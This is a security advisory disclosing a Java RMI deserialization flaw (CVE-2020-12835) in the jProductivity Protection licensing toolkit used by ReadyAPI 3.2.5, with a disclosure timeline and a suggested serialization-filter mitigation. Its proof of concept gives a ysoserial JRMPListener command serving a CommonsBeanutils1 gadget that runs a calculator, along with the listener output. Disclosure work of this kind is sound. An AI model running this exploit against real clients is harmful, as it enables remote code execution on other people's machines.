Advisory ID: SYSS-2019-039  
Product: Protection Licensing Toolkit, SoapUI/LoadUI/ServiceV Pro  
Manufacturer: jProductivity LLC, SmartBear Software  
Affected Version(s): - ReadyAPI 3.2.5  
Tested Version(s): ReadyAPI 3.2.5  
Vulnerability Type: Unsafe deserialization/remote code execution (CWE-502)  
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2019-09-02  
Public Disclosure: 2020-05-18  
CVE Reference: CVE-2020-12835  
Author of Advisory: Moritz Bechler, SySS GmbH  
jProductivity Protection! is a solution for software vendors to  
implement licensing checks and management in their products.  
The manufacturer describes the product as follows (see [1]):  
"Protection! - is a powerful multi-platform Licensing Toolkit and License  
Manager that provides the ability to add licensing into custom applications  
or components only allowing the permitted use according to the supplied  
ReadyAPI is a suite of web service testing tools. It is using  
the jProductivity Protection licensing solution.  
The manufacturer describes the product as follows (see [2]):  
"The ReadyAPI platform accelerates functional, security, and load testing  
of RESTful, SOAP, GraphQL and other web services right inside your CI/CD  
The jProductivity Protection Licensing Toolkit is using RMI-based  
network protocols to communicate with its network license server.  
These protocols are susceptible to deserialization attacks, which  
in the case of ReadyAPI can be exploited to gain remote code execution  
on the client side.  
Vulnerability Details:  
When trying to check out a remote floating license, the client  
softare, ReadyAPI, contacts the Licensing Server using the  
Java RMI protocol on port 1099. As there is no transport security,  
this service can be impersonated by an attacker in a suitable  
position on the network.  
Java RMI, and the underlying JRMP protocol, heavily relies on  
Java serialization to transport method arguments, return values  
and exception data.  
Java serialization has been shown ([5]) to in many cases  
allow the execution of arbitrary code when certain specially  
crafted object graphs are reconstructed during deserialization.  
ReadyAPI contains multiple libraries with published gadgets  
that can be exploited in this way.  
While the license server suffers from the same vulnerability,  
no gadgets were identified that lead to direct code execution.  
Proof of Concept (PoC):  
Setup a JRMP/RMI service that returns a malicious serialized object  
graph. In this case, a gadget from the commons-beanutils library is  
used to get command execution. Other options exist on the ReadyAPI  
$ java -DproperXalan=true \  
-cp commons-beanutils-1.9.3.jar:target/ysoserial-0.0.6-SNAPSHOT-all.jar  
ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 gnome-calculator  
* Opening JRMP listener on 1099  
Have connection from /  
Reading message...  
Sending return with payload for obj [0:0:0, 0]  
Closing connection  
When trying to check out a floating license from the rogue server,  
RMI calls are made which results in the deserialization of the  
attacker-provided serialized data. Here, this causes the gnome-calculator  
program to be run.  
Avoid using Java serialization-based network prococols like RMI and  
deserializing untrusted data in general.  
If they cannot be avoided, strict whitelist-based filtering allowing only  
the neccessary object types should be performed.  
Other users of the jProductivity Protection Licensing Server are likely  
affected as well.  
There is no vendor patch available as of now.  
Mitigation in ReadyAPI may be possible adding the following serialization  
filter to bin/ (however, this may break other features):  
JAVA_OPTS="$JAVA_OPTS -Djdk.serialFilter=java.util.*;*;  
Disclosure Timeline:  
2019-08-08: Vulnerability discovered  
2019-09-02: Vulnerability reported to manufacturer  
2019-10-10: On inquiry, "early 2020" is mentioned as the fix timeline  
2020-01-30: Requested an update, no reply  
2020-03-20: Another inquiry, no clear timeline provided  
2020-04-15: Final 4 week deadline set, mitigation suggested  
2020-05-18: Public disclosure of vulnerability  
[1] Product website for jProductivity Protection!  
[2] Product website for ReadyAPI  
[3] SySS Security Advisory SYSS-2019-039  
[4] SySS Responsible Disclosure Policy  
[5] ysoserial, "Marshalling Pickles: how deserializing objects will ruin  
your day"  
This security vulnerability was found by Moritz Bechler of SySS GmbH.  
Public Key:  
Key ID: 0x768EFE2BB3E53DDA  
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.  
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